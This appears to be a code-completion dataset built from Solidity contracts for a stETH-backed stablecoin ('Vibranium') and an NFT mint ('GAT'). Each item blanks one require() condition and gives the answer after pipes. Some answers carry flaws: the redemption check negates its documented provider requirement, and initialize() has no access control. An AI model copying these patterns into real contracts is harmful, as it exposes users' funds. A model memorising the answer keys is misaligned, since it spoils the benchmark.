!boolVotedFor[_erc20ContractAddress][_proposalId][msg.sender],
"Already voted"
);
require(<FILL_ME>)
numberOfVotersFor[_erc20ContractAddress][_proposalId] = numberOfVotersFor[_erc20ContractAddress][_proposalId] + 1;
uint256 voterId = numberOfVotersFor[_erc20ContractAddress][_proposalId];
votedFor[_erc20ContractAddress][_proposalId][voterId] = msg.sender;
boolVotedFor[_erc20ContractAddress][_proposalId][msg.sender] = true;
emit VoteFor(_erc20ContractAddress, _proposalId, msg.sender);
return true;
}
function voteAgainst(
address _erc20ContractAddress, //..1
uint256 _proposalId //.............2
) public returns (bool success) {
}
}
| !boolVotedAgainst[_erc20ContractAddress][_proposalId][msg.sender],"Already voted" | 84,023 | !boolVotedAgainst[_erc20ContractAddress][_proposalId][msg.sender] |
null | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.17;
import "./VUSD.sol";
import "./Governable.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "./AggregatorV3Interface.sol";
import "./OFTCore.sol";
import "./IOFTCore.sol";
import "./Ilido.sol";
import "./VibStakingPool.sol";
import "./esVIBMinter.sol";
// import "./IERC20.sol";
import "./ISwap.sol";
interface IOFT is IOFTCore, IERC20 {
}
contract Vibranium is VUSD, Governable, OFTCore, IOFT {
uint256 public totalDepositedEther;
uint256 public lastReportTime;
uint256 public totalVUSDCirculation;
uint256 year = 86400 * 365;
uint256 public mintFeeApy = 150;
uint256 public safeCollateralRate = 160 * 1e18;
uint256 public immutable badCollateralRate = 140 * 1e18;
uint256 public redemptionFee = 50;
uint8 public keeperRate = 1;
mapping(address => uint256) public depositedEther;
mapping(address => uint256) borrowed;
mapping(address => bool) redemptionProvider;
uint256 public feeStored;
bool public initializer;
Ilido lido;
AggregatorV3Interface public priceFeed;
esVIBMinter public esvibMinter;
VibStakingPool public serviceFeePool;
address public rvUSD;
event DepositEther(
address sponsor,
address indexed onBehalfOf,
uint256 amount,
uint256 timestamp
);
event WithdrawEther(
address sponsor,
address indexed onBehalfOf,
uint256 amount,
uint256 timestamp
);
event Mint(
address sponsor,
address indexed onBehalfOf,
uint256 amount,
uint256 timestamp
);
event Burn(
address sponsor,
address indexed onBehalfOf,
uint256 amount,
uint256 timestamp
);
event LiquidationRecord(
address provider,
address keeper,
address indexed onBehalfOf,
uint256 vusdamount,
uint256 LiquidateEtherAmount,
uint256 keeperReward,
bool superLiquidation,
uint256 timestamp
);
event LSDistribution(
uint256 stETHAdded,
uint256 payoutVUSD,
uint256 timestamp
);
event RedemptionProvider(address user, bool status);
event RigidRedemption(
address indexed caller,
address indexed provider,
uint256 vusdAmount,
uint256 etherAmount,
uint256 timestamp
);
event FeeDistribution(
address indexed feeAddress,
uint256 feeAmount,
uint256 timestamp
);
constructor(address _lzEndpoint, address _lido, address _priceFeed) OFTCore(_lzEndpoint){
}
function initialize(address _rvUSD) public {
require(<FILL_ME>)
rvUSD = _rvUSD;
initializer = true;
}
// LZ
function supportsInterface(bytes4 interfaceId) public view virtual override(OFTCore, IERC165) returns (bool) {
}
function token() public view virtual override returns (address) {
}
function circulatingSupply() public view virtual override returns (uint) {
}
function _debitFrom(address _from, uint16, bytes memory, uint _amount) internal virtual override returns(uint) {
}
function _creditTo(uint16, address _toAddress, uint _amount) internal virtual override returns(uint) {
}
// LZ END
function setBorrowApy(uint256 newApy) external onlyGov {
}
/**
* @notice safeCollateralRate can be decided by DAO,starts at 160%
*/
function setSafeCollateralRate(uint256 newRatio) external onlyGov {
}
/**
* @notice KeeperRate can be decided by DAO,1 means 1% of revenue
*/
function setKeeperRate(uint8 newRate) external onlyGov {
}
/**
* @notice DAO sets RedemptionFee, 100 means 1%
*/
function setRedemptionFee(uint8 newFee) external onlyGov {
}
function setVibStakingPool(address addr) external onlyGov {
}
function setESVIBMinter(address addr) external onlyGov {
}
/**
* @notice User chooses to become a Redemption Provider
*/
function becomeRedemptionProvider(bool _bool) external {
}
/**
* @notice Deposit ETH on behalf of an address, update the interest distribution and deposit record the this address, can mint VUSD directly
*
* Emits a `DepositEther` event.
*
* Requirements:
* - `onBehalfOf` cannot be the zero address.
* - `mintAmount` Send 0 if doesn't mint VUSD
* - msg.value Must be higher than 0.
*
* @dev Record the deposited ETH in the ratio of 1:1 and convert it into stETH.
*/
function depositEtherToMint(address onBehalfOf, uint256 mintAmount)
external
payable
{
}
/**
* @notice Deposit stETH on behalf of an address, update the interest distribution and deposit record the this address, can mint VUSD directly
* Emits a `DepositEther` event.
*
* Requirements:
* - `onBehalfOf` cannot be the zero address.
* - `stETHamount` Must be higher than 0.
* - `mintAmount` Send 0 if doesn't mint VUSD
* @dev Record the deposited stETH in the ratio of 1:1.
*/
function depositStETHToMint(
address onBehalfOf,
uint256 stETHamount,
uint256 mintAmount
) external {
}
/**
* @notice Withdraw collateral assets to an address
* Emits a `WithdrawEther` event.
*
* Requirements:
* - `onBehalfOf` cannot be the zero address.
* - `amount` Must be higher than 0.
*
* @dev Withdraw stETH. Check user’s collateral rate after withdrawal, should be higher than `safeCollateralRate`
*/
function withdraw(address onBehalfOf, uint256 amount) external {
}
/**
* @notice The mint amount number of VUSD is minted to the address
* Emits a `Mint` event.
*
* Requirements:
* - `onBehalfOf` cannot be the zero address.
* - `amount` Must be higher than 0. Individual mint amount shouldn't surpass 10% when the circulation reaches 10_000_000
*/
function mint(address onBehalfOf, uint256 amount) public {
}
/** .
* @notice Burn the amount of VUSD and payback the amount of minted VUSD
* Emits a `Burn` event.
* Requirements:
* - `onBehalfOf` cannot be the zero address.
* - `amount` Must be higher than 0.
* @dev Calling the internal`_repay`function.
*/
function burn(address onBehalfOf, uint256 amount) external {
}
/**
* @notice When overallCollateralRate is above 150%, Keeper liquidates borrowers whose collateral rate is below badCollateralRate, using VUSD provided by Liquidation Provider.
*
* Requirements:
* - onBehalfOf Collateral Rate should be below badCollateralRate
* - etherAmount should be less than 50% of collateral
* - provider should authorize Vibranium to utilize VUSD
* @dev After liquidation, borrower's debt is reduced by etherAmount * etherPrice, collateral is reduced by the etherAmount corresponding to 110% of the value. Keeper gets keeperRate / 110 of Liquidation Reward and Liquidator gets the remaining stETH.
*/
function liquidation(
address provider,
address onBehalfOf,
uint256 etherAmount
) external {
}
/**
* @notice When overallCollateralRate is below badCollateralRate, borrowers with collateralRate below 125% could be fully liquidated.
* Emits a `LiquidationRecord` event.
*
* Requirements:
* - Current overallCollateralRate should be below badCollateralRate
* - `onBehalfOf`collateralRate should be below 125%
* @dev After Liquidation, borrower's debt is reduced by etherAmount * etherPrice, deposit is reduced by etherAmount * borrower's collateralRate. Keeper gets a liquidation reward of `keeperRate / borrower's collateralRate
*/
function superLiquidation(
address provider,
address onBehalfOf,
uint256 etherAmount
) external {
}
/**
* @notice When stETH balance increases through LSD or other reasons, the excess income is sold for VUSD, allocated to VUSD holders through rebase mechanism.
* Emits a `LSDistribution` event.
*
* *Requirements:
* - stETH balance in the contract cannot be less than totalDepositedEther after exchange.
* @dev Income is used to cover accumulated Service Fee first.
*/
function excessIncomeDistribution(uint256 payAmount) external {
}
/**
* @notice Choose a Redemption Provider, Rigid Redeem `vusdAmount` of VUSD and get 1:1 value of stETH
* Emits a `RigidRedemption` event.
*
* *Requirements:
* - `provider` must be a Redemption Provider
* - `provider`debt must equal to or above`vusdAmount`
* @dev Service Fee for rigidRedemption `redemptionFee` is set to 0.5% by default, can be revised by DAO.
*/
function rigidRedemption(address provider, uint256 vusdAmount) external {
}
/**
* @dev Refresh VIB reward before adding providers debt. Refresh Vibranium generated service fee before adding totalVUSDCirculation. Check providers collateralRate cannot below `safeCollateralRate`after minting.
*/
function _mintVUSD(
address _provider,
address _onBehalfOf,
uint256 _amount
) internal {
}
/**
* @notice Burn _provideramount VUSD to payback minted VUSD for _onBehalfOf.
*
* @dev Refresh VIB reward before reducing providers debt. Refresh Vibranium generated service fee before reducing totalVUSDCirculation.
*/
function _repay(
address _provider,
address _onBehalfOf,
uint256 _amount
) internal {
}
function _saveReport() internal {
}
function mintSwap(address _account, uint _amount) external {
}
function swap(uint _amount) external{
}
/**
* @dev Get USD value of current collateral asset and minted VUSD through price oracle / Collateral asset USD value must higher than safe Collateral Rate.
*/
function _checkHealth(address user) internal {
}
/**
* @dev Return USD value of current ETH through Liquity PriceFeed Contract.
* https://etherscan.io/address/0x4c517D4e2C851CA76d7eC94B805269Df0f2201De#code
*/
function _etherPrice() internal returns (uint256) {
}
function _newFee() internal view returns (uint256) {
}
/**
* @dev total circulation of VUSD
*/
function _getTotalMintedVUSD() internal view override returns (uint256) {
}
function getBorrowedOf(address user) external view returns (uint256) {
}
function isRedemptionProvider(address user) external view returns (bool) {
}
}
| !initializer | 84,067 | !initializer |
"provider's collateral rate should more than 100%" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.17;
import "./VUSD.sol";
import "./Governable.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "./AggregatorV3Interface.sol";
import "./OFTCore.sol";
import "./IOFTCore.sol";
import "./Ilido.sol";
import "./VibStakingPool.sol";
import "./esVIBMinter.sol";
// import "./IERC20.sol";
import "./ISwap.sol";
interface IOFT is IOFTCore, IERC20 {
}
contract Vibranium is VUSD, Governable, OFTCore, IOFT {
uint256 public totalDepositedEther;
uint256 public lastReportTime;
uint256 public totalVUSDCirculation;
uint256 year = 86400 * 365;
uint256 public mintFeeApy = 150;
uint256 public safeCollateralRate = 160 * 1e18;
uint256 public immutable badCollateralRate = 140 * 1e18;
uint256 public redemptionFee = 50;
uint8 public keeperRate = 1;
mapping(address => uint256) public depositedEther;
mapping(address => uint256) borrowed;
mapping(address => bool) redemptionProvider;
uint256 public feeStored;
bool public initializer;
Ilido lido;
AggregatorV3Interface public priceFeed;
esVIBMinter public esvibMinter;
VibStakingPool public serviceFeePool;
address public rvUSD;
event DepositEther(
address sponsor,
address indexed onBehalfOf,
uint256 amount,
uint256 timestamp
);
event WithdrawEther(
address sponsor,
address indexed onBehalfOf,
uint256 amount,
uint256 timestamp
);
event Mint(
address sponsor,
address indexed onBehalfOf,
uint256 amount,
uint256 timestamp
);
event Burn(
address sponsor,
address indexed onBehalfOf,
uint256 amount,
uint256 timestamp
);
event LiquidationRecord(
address provider,
address keeper,
address indexed onBehalfOf,
uint256 vusdamount,
uint256 LiquidateEtherAmount,
uint256 keeperReward,
bool superLiquidation,
uint256 timestamp
);
event LSDistribution(
uint256 stETHAdded,
uint256 payoutVUSD,
uint256 timestamp
);
event RedemptionProvider(address user, bool status);
event RigidRedemption(
address indexed caller,
address indexed provider,
uint256 vusdAmount,
uint256 etherAmount,
uint256 timestamp
);
event FeeDistribution(
address indexed feeAddress,
uint256 feeAmount,
uint256 timestamp
);
constructor(address _lzEndpoint, address _lido, address _priceFeed) OFTCore(_lzEndpoint){
}
function initialize(address _rvUSD) public {
}
// LZ
function supportsInterface(bytes4 interfaceId) public view virtual override(OFTCore, IERC165) returns (bool) {
}
function token() public view virtual override returns (address) {
}
function circulatingSupply() public view virtual override returns (uint) {
}
function _debitFrom(address _from, uint16, bytes memory, uint _amount) internal virtual override returns(uint) {
}
function _creditTo(uint16, address _toAddress, uint _amount) internal virtual override returns(uint) {
}
// LZ END
function setBorrowApy(uint256 newApy) external onlyGov {
}
/**
* @notice safeCollateralRate can be decided by DAO,starts at 160%
*/
function setSafeCollateralRate(uint256 newRatio) external onlyGov {
}
/**
* @notice KeeperRate can be decided by DAO,1 means 1% of revenue
*/
function setKeeperRate(uint8 newRate) external onlyGov {
}
/**
* @notice DAO sets RedemptionFee, 100 means 1%
*/
function setRedemptionFee(uint8 newFee) external onlyGov {
}
function setVibStakingPool(address addr) external onlyGov {
}
function setESVIBMinter(address addr) external onlyGov {
}
/**
* @notice User chooses to become a Redemption Provider
*/
function becomeRedemptionProvider(bool _bool) external {
}
/**
* @notice Deposit ETH on behalf of an address, update the interest distribution and deposit record the this address, can mint VUSD directly
*
* Emits a `DepositEther` event.
*
* Requirements:
* - `onBehalfOf` cannot be the zero address.
* - `mintAmount` Send 0 if doesn't mint VUSD
* - msg.value Must be higher than 0.
*
* @dev Record the deposited ETH in the ratio of 1:1 and convert it into stETH.
*/
function depositEtherToMint(address onBehalfOf, uint256 mintAmount)
external
payable
{
}
/**
* @notice Deposit stETH on behalf of an address, update the interest distribution and deposit record the this address, can mint VUSD directly
* Emits a `DepositEther` event.
*
* Requirements:
* - `onBehalfOf` cannot be the zero address.
* - `stETHamount` Must be higher than 0.
* - `mintAmount` Send 0 if doesn't mint VUSD
* @dev Record the deposited stETH in the ratio of 1:1.
*/
function depositStETHToMint(
address onBehalfOf,
uint256 stETHamount,
uint256 mintAmount
) external {
}
/**
* @notice Withdraw collateral assets to an address
* Emits a `WithdrawEther` event.
*
* Requirements:
* - `onBehalfOf` cannot be the zero address.
* - `amount` Must be higher than 0.
*
* @dev Withdraw stETH. Check user’s collateral rate after withdrawal, should be higher than `safeCollateralRate`
*/
function withdraw(address onBehalfOf, uint256 amount) external {
}
/**
* @notice The mint amount number of VUSD is minted to the address
* Emits a `Mint` event.
*
* Requirements:
* - `onBehalfOf` cannot be the zero address.
* - `amount` Must be higher than 0. Individual mint amount shouldn't surpass 10% when the circulation reaches 10_000_000
*/
function mint(address onBehalfOf, uint256 amount) public {
}
/** .
* @notice Burn the amount of VUSD and payback the amount of minted VUSD
* Emits a `Burn` event.
* Requirements:
* - `onBehalfOf` cannot be the zero address.
* - `amount` Must be higher than 0.
* @dev Calling the internal`_repay`function.
*/
function burn(address onBehalfOf, uint256 amount) external {
}
/**
* @notice When overallCollateralRate is above 150%, Keeper liquidates borrowers whose collateral rate is below badCollateralRate, using VUSD provided by Liquidation Provider.
*
* Requirements:
* - onBehalfOf Collateral Rate should be below badCollateralRate
* - etherAmount should be less than 50% of collateral
* - provider should authorize Vibranium to utilize VUSD
* @dev After liquidation, borrower's debt is reduced by etherAmount * etherPrice, collateral is reduced by the etherAmount corresponding to 110% of the value. Keeper gets keeperRate / 110 of Liquidation Reward and Liquidator gets the remaining stETH.
*/
function liquidation(
address provider,
address onBehalfOf,
uint256 etherAmount
) external {
}
/**
* @notice When overallCollateralRate is below badCollateralRate, borrowers with collateralRate below 125% could be fully liquidated.
* Emits a `LiquidationRecord` event.
*
* Requirements:
* - Current overallCollateralRate should be below badCollateralRate
* - `onBehalfOf`collateralRate should be below 125%
* @dev After Liquidation, borrower's debt is reduced by etherAmount * etherPrice, deposit is reduced by etherAmount * borrower's collateralRate. Keeper gets a liquidation reward of `keeperRate / borrower's collateralRate
*/
function superLiquidation(
address provider,
address onBehalfOf,
uint256 etherAmount
) external {
}
/**
* @notice When stETH balance increases through LSD or other reasons, the excess income is sold for VUSD, allocated to VUSD holders through rebase mechanism.
* Emits a `LSDistribution` event.
*
* *Requirements:
* - stETH balance in the contract cannot be less than totalDepositedEther after exchange.
* @dev Income is used to cover accumulated Service Fee first.
*/
function excessIncomeDistribution(uint256 payAmount) external {
}
/**
* @notice Choose a Redemption Provider, Rigid Redeem `vusdAmount` of VUSD and get 1:1 value of stETH
* Emits a `RigidRedemption` event.
*
* *Requirements:
* - `provider` must be a Redemption Provider
* - `provider`debt must equal to or above`vusdAmount`
* @dev Service Fee for rigidRedemption `redemptionFee` is set to 0.5% by default, can be revised by DAO.
*/
function rigidRedemption(address provider, uint256 vusdAmount) external {
uint256 etherPrice = _etherPrice();
uint256 providerCollateralRate = (depositedEther[provider] *
etherPrice *
100) / borrowed[provider];
require(<FILL_ME>)
_repay(msg.sender, provider, vusdAmount);
uint256 etherAmount = (((vusdAmount * 1e18) / etherPrice) *
(10000 - redemptionFee)) / 10000;
depositedEther[provider] -= etherAmount;
totalDepositedEther -= etherAmount;
lido.transfer(msg.sender, etherAmount);
emit RigidRedemption(
msg.sender,
provider,
vusdAmount,
etherAmount,
block.timestamp
);
}
/**
* @dev Refresh VIB reward before adding providers debt. Refresh Vibranium generated service fee before adding totalVUSDCirculation. Check providers collateralRate cannot below `safeCollateralRate`after minting.
*/
function _mintVUSD(
address _provider,
address _onBehalfOf,
uint256 _amount
) internal {
}
/**
* @notice Burn _provideramount VUSD to payback minted VUSD for _onBehalfOf.
*
* @dev Refresh VIB reward before reducing providers debt. Refresh Vibranium generated service fee before reducing totalVUSDCirculation.
*/
function _repay(
address _provider,
address _onBehalfOf,
uint256 _amount
) internal {
}
function _saveReport() internal {
}
function mintSwap(address _account, uint _amount) external {
}
function swap(uint _amount) external{
}
/**
* @dev Get USD value of current collateral asset and minted VUSD through price oracle / Collateral asset USD value must higher than safe Collateral Rate.
*/
function _checkHealth(address user) internal {
}
/**
* @dev Return USD value of current ETH through Liquity PriceFeed Contract.
* https://etherscan.io/address/0x4c517D4e2C851CA76d7eC94B805269Df0f2201De#code
*/
function _etherPrice() internal returns (uint256) {
}
function _newFee() internal view returns (uint256) {
}
/**
* @dev total circulation of VUSD
*/
function _getTotalMintedVUSD() internal view override returns (uint256) {
}
function getBorrowedOf(address user) external view returns (uint256) {
}
function isRedemptionProvider(address user) external view returns (bool) {
}
}
| !redemptionProvider[provider]&&borrowed[provider]>=vusdAmount&&providerCollateralRate>=100*1e18,"provider's collateral rate should more than 100%" | 84,067 | !redemptionProvider[provider]&&borrowed[provider]>=vusdAmount&&providerCollateralRate>=100*1e18 |
"Repaying Amount Surpasses Borrowing Amount" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.17;
import "./VUSD.sol";
import "./Governable.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "./AggregatorV3Interface.sol";
import "./OFTCore.sol";
import "./IOFTCore.sol";
import "./Ilido.sol";
import "./VibStakingPool.sol";
import "./esVIBMinter.sol";
// import "./IERC20.sol";
import "./ISwap.sol";
interface IOFT is IOFTCore, IERC20 {
}
contract Vibranium is VUSD, Governable, OFTCore, IOFT {
uint256 public totalDepositedEther;
uint256 public lastReportTime;
uint256 public totalVUSDCirculation;
uint256 year = 86400 * 365;
uint256 public mintFeeApy = 150;
uint256 public safeCollateralRate = 160 * 1e18;
uint256 public immutable badCollateralRate = 140 * 1e18;
uint256 public redemptionFee = 50;
uint8 public keeperRate = 1;
mapping(address => uint256) public depositedEther;
mapping(address => uint256) borrowed;
mapping(address => bool) redemptionProvider;
uint256 public feeStored;
bool public initializer;
Ilido lido;
AggregatorV3Interface public priceFeed;
esVIBMinter public esvibMinter;
VibStakingPool public serviceFeePool;
address public rvUSD;
event DepositEther(
address sponsor,
address indexed onBehalfOf,
uint256 amount,
uint256 timestamp
);
event WithdrawEther(
address sponsor,
address indexed onBehalfOf,
uint256 amount,
uint256 timestamp
);
event Mint(
address sponsor,
address indexed onBehalfOf,
uint256 amount,
uint256 timestamp
);
event Burn(
address sponsor,
address indexed onBehalfOf,
uint256 amount,
uint256 timestamp
);
event LiquidationRecord(
address provider,
address keeper,
address indexed onBehalfOf,
uint256 vusdamount,
uint256 LiquidateEtherAmount,
uint256 keeperReward,
bool superLiquidation,
uint256 timestamp
);
event LSDistribution(
uint256 stETHAdded,
uint256 payoutVUSD,
uint256 timestamp
);
event RedemptionProvider(address user, bool status);
event RigidRedemption(
address indexed caller,
address indexed provider,
uint256 vusdAmount,
uint256 etherAmount,
uint256 timestamp
);
event FeeDistribution(
address indexed feeAddress,
uint256 feeAmount,
uint256 timestamp
);
constructor(address _lzEndpoint, address _lido, address _priceFeed) OFTCore(_lzEndpoint){
}
function initialize(address _rvUSD) public {
}
// LZ
function supportsInterface(bytes4 interfaceId) public view virtual override(OFTCore, IERC165) returns (bool) {
}
function token() public view virtual override returns (address) {
}
function circulatingSupply() public view virtual override returns (uint) {
}
function _debitFrom(address _from, uint16, bytes memory, uint _amount) internal virtual override returns(uint) {
}
function _creditTo(uint16, address _toAddress, uint _amount) internal virtual override returns(uint) {
}
// LZ END
function setBorrowApy(uint256 newApy) external onlyGov {
}
/**
* @notice safeCollateralRate can be decided by DAO,starts at 160%
*/
function setSafeCollateralRate(uint256 newRatio) external onlyGov {
}
/**
* @notice KeeperRate can be decided by DAO,1 means 1% of revenue
*/
function setKeeperRate(uint8 newRate) external onlyGov {
}
/**
* @notice DAO sets RedemptionFee, 100 means 1%
*/
function setRedemptionFee(uint8 newFee) external onlyGov {
}
function setVibStakingPool(address addr) external onlyGov {
}
function setESVIBMinter(address addr) external onlyGov {
}
/**
* @notice User chooses to become a Redemption Provider
*/
function becomeRedemptionProvider(bool _bool) external {
}
/**
* @notice Deposit ETH on behalf of an address, update the interest distribution and deposit record the this address, can mint VUSD directly
*
* Emits a `DepositEther` event.
*
* Requirements:
* - `onBehalfOf` cannot be the zero address.
* - `mintAmount` Send 0 if doesn't mint VUSD
* - msg.value Must be higher than 0.
*
* @dev Record the deposited ETH in the ratio of 1:1 and convert it into stETH.
*/
function depositEtherToMint(address onBehalfOf, uint256 mintAmount)
external
payable
{
}
/**
* @notice Deposit stETH on behalf of an address, update the interest distribution and deposit record the this address, can mint VUSD directly
* Emits a `DepositEther` event.
*
* Requirements:
* - `onBehalfOf` cannot be the zero address.
* - `stETHamount` Must be higher than 0.
* - `mintAmount` Send 0 if doesn't mint VUSD
* @dev Record the deposited stETH in the ratio of 1:1.
*/
function depositStETHToMint(
address onBehalfOf,
uint256 stETHamount,
uint256 mintAmount
) external {
}
/**
* @notice Withdraw collateral assets to an address
* Emits a `WithdrawEther` event.
*
* Requirements:
* - `onBehalfOf` cannot be the zero address.
* - `amount` Must be higher than 0.
*
* @dev Withdraw stETH. Check user’s collateral rate after withdrawal, should be higher than `safeCollateralRate`
*/
function withdraw(address onBehalfOf, uint256 amount) external {
}
/**
* @notice The mint amount number of VUSD is minted to the address
* Emits a `Mint` event.
*
* Requirements:
* - `onBehalfOf` cannot be the zero address.
* - `amount` Must be higher than 0. Individual mint amount shouldn't surpass 10% when the circulation reaches 10_000_000
*/
function mint(address onBehalfOf, uint256 amount) public {
}
/** .
* @notice Burn the amount of VUSD and payback the amount of minted VUSD
* Emits a `Burn` event.
* Requirements:
* - `onBehalfOf` cannot be the zero address.
* - `amount` Must be higher than 0.
* @dev Calling the internal`_repay`function.
*/
function burn(address onBehalfOf, uint256 amount) external {
}
/**
* @notice When overallCollateralRate is above 150%, Keeper liquidates borrowers whose collateral rate is below badCollateralRate, using VUSD provided by Liquidation Provider.
*
* Requirements:
* - onBehalfOf Collateral Rate should be below badCollateralRate
* - etherAmount should be less than 50% of collateral
* - provider should authorize Vibranium to utilize VUSD
* @dev After liquidation, borrower's debt is reduced by etherAmount * etherPrice, collateral is reduced by the etherAmount corresponding to 110% of the value. Keeper gets keeperRate / 110 of Liquidation Reward and Liquidator gets the remaining stETH.
*/
function liquidation(
address provider,
address onBehalfOf,
uint256 etherAmount
) external {
}
/**
* @notice When overallCollateralRate is below badCollateralRate, borrowers with collateralRate below 125% could be fully liquidated.
* Emits a `LiquidationRecord` event.
*
* Requirements:
* - Current overallCollateralRate should be below badCollateralRate
* - `onBehalfOf`collateralRate should be below 125%
* @dev After Liquidation, borrower's debt is reduced by etherAmount * etherPrice, deposit is reduced by etherAmount * borrower's collateralRate. Keeper gets a liquidation reward of `keeperRate / borrower's collateralRate
*/
function superLiquidation(
address provider,
address onBehalfOf,
uint256 etherAmount
) external {
}
/**
* @notice When stETH balance increases through LSD or other reasons, the excess income is sold for VUSD, allocated to VUSD holders through rebase mechanism.
* Emits a `LSDistribution` event.
*
* *Requirements:
* - stETH balance in the contract cannot be less than totalDepositedEther after exchange.
* @dev Income is used to cover accumulated Service Fee first.
*/
function excessIncomeDistribution(uint256 payAmount) external {
}
/**
* @notice Choose a Redemption Provider, Rigid Redeem `vusdAmount` of VUSD and get 1:1 value of stETH
* Emits a `RigidRedemption` event.
*
* *Requirements:
* - `provider` must be a Redemption Provider
* - `provider`debt must equal to or above`vusdAmount`
* @dev Service Fee for rigidRedemption `redemptionFee` is set to 0.5% by default, can be revised by DAO.
*/
function rigidRedemption(address provider, uint256 vusdAmount) external {
}
/**
* @dev Refresh VIB reward before adding providers debt. Refresh Vibranium generated service fee before adding totalVUSDCirculation. Check providers collateralRate cannot below `safeCollateralRate`after minting.
*/
function _mintVUSD(
address _provider,
address _onBehalfOf,
uint256 _amount
) internal {
}
/**
* @notice Burn _provideramount VUSD to payback minted VUSD for _onBehalfOf.
*
* @dev Refresh VIB reward before reducing providers debt. Refresh Vibranium generated service fee before reducing totalVUSDCirculation.
*/
function _repay(
address _provider,
address _onBehalfOf,
uint256 _amount
) internal {
require(<FILL_ME>)
uint256 sharesAmount = getSharesByMintedVUSD(_amount);
_burnShares(_provider, sharesAmount);
esvibMinter.refreshReward(_onBehalfOf);
borrowed[_onBehalfOf] -= _amount;
_saveReport();
totalVUSDCirculation -= _amount;
emit Burn(_provider, _onBehalfOf, _amount, block.timestamp);
}
function _saveReport() internal {
}
function mintSwap(address _account, uint _amount) external {
}
function swap(uint _amount) external{
}
/**
* @dev Get USD value of current collateral asset and minted VUSD through price oracle / Collateral asset USD value must higher than safe Collateral Rate.
*/
function _checkHealth(address user) internal {
}
/**
* @dev Return USD value of current ETH through Liquity PriceFeed Contract.
* https://etherscan.io/address/0x4c517D4e2C851CA76d7eC94B805269Df0f2201De#code
*/
function _etherPrice() internal returns (uint256) {
}
function _newFee() internal view returns (uint256) {
}
/**
* @dev total circulation of VUSD
*/
function _getTotalMintedVUSD() internal view override returns (uint256) {
}
function getBorrowedOf(address user) external view returns (uint256) {
}
function isRedemptionProvider(address user) external view returns (bool) {
}
}
| borrowed[_onBehalfOf]>=_amount,"Repaying Amount Surpasses Borrowing Amount" | 84,067 | borrowed[_onBehalfOf]>=_amount |
"Max supply exceeded!" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
interface IRoyaltyMint {
function mintForAddress(uint256 _mintAmount, address _receiver) external;
}
contract GAT is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
using ECDSA for bytes32;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public cost = .075 ether;
uint256 public maxSupply = 2000;
uint256 public maxMintAmountPerTx = 3;
bool public paused = true;
bool public revealed = false;
address private _signer;
address public royalty_contract_address;
address private PROJECT_WALLET;
address[2] private _shareholders;
uint[2] private _shares;
uint256 shareholders0Balance=0;
uint256 shareholders1Balance=0;
mapping(address => uint256[]) public mintAddresses;
mapping(string => bool) public usedMessages;
mapping(address => uint) public TolatestTokenTransfer;
mapping(address => uint) public FromlatestTokenTransfer;
mapping(address => bool) public nftPayWalletAddress;
error DirectMintFromContractNotAllowed();
error InvalidSignature();
error saltAlreadyUsed();
error cannotWithdraw();
event PaymentReleased(address to, uint256 amount);
constructor() ERC721A("Gods & Titans - Titanomachy War", "GAT") {
}
modifier callerIsUser() {
}
function _setSigner(address _newSigner) external onlyOwner {
}
function _setProjectWallet(address _PROJECT_WALLET, string calldata _salt, bytes calldata _token, uint256 _amount) external onlyOwner {
}
function setRoyaltyContractTokenAddress(address _address) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) external onlyOwner {
}
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalidmint amount!");
uint256 totalGods = totalSupply();
require(<FILL_ME>)
_;
}
function _verify(bytes32 hash, bytes memory token, address signer)
internal
pure
returns (bool)
{
}
function verifyTokenForAddress(string calldata _salt, bytes calldata _token, address _address, uint256 _amount , address signer) internal pure returns (bool) {
}
function mint(uint256 _mintAmount, string calldata _salt, bytes calldata _token) external payable nonReentrant mintCompliance(_mintAmount) {
}
function claimRoblox(string calldata _salt, bytes calldata _token) external payable nonReentrant {
}
function mintForAddress(uint256 _mintAmount, address _receiver) external nonReentrant onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Returns the starting token ID.
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
function setRevealed(bool _state) external onlyOwner callerIsUser {
}
function setCost(uint256 _cost) external onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) external onlyOwner {
}
function setPaused(bool _state) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() external onlyOwner {
}
function getMintAddresses(address _address) public view returns(uint256 [] memory){
}
function _afterTokenTransfers(address from, address to, uint256 tokenId, uint256 quantity) internal override {
}
function withdrawToWallet() external nonReentrant onlyOwner {
}
}
| totalGods+_mintAmount<=maxSupply,"Max supply exceeded!" | 84,112 | totalGods+_mintAmount<=maxSupply |
"Ether value sent is not correct" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
interface IRoyaltyMint {
function mintForAddress(uint256 _mintAmount, address _receiver) external;
}
contract GAT is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
using ECDSA for bytes32;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
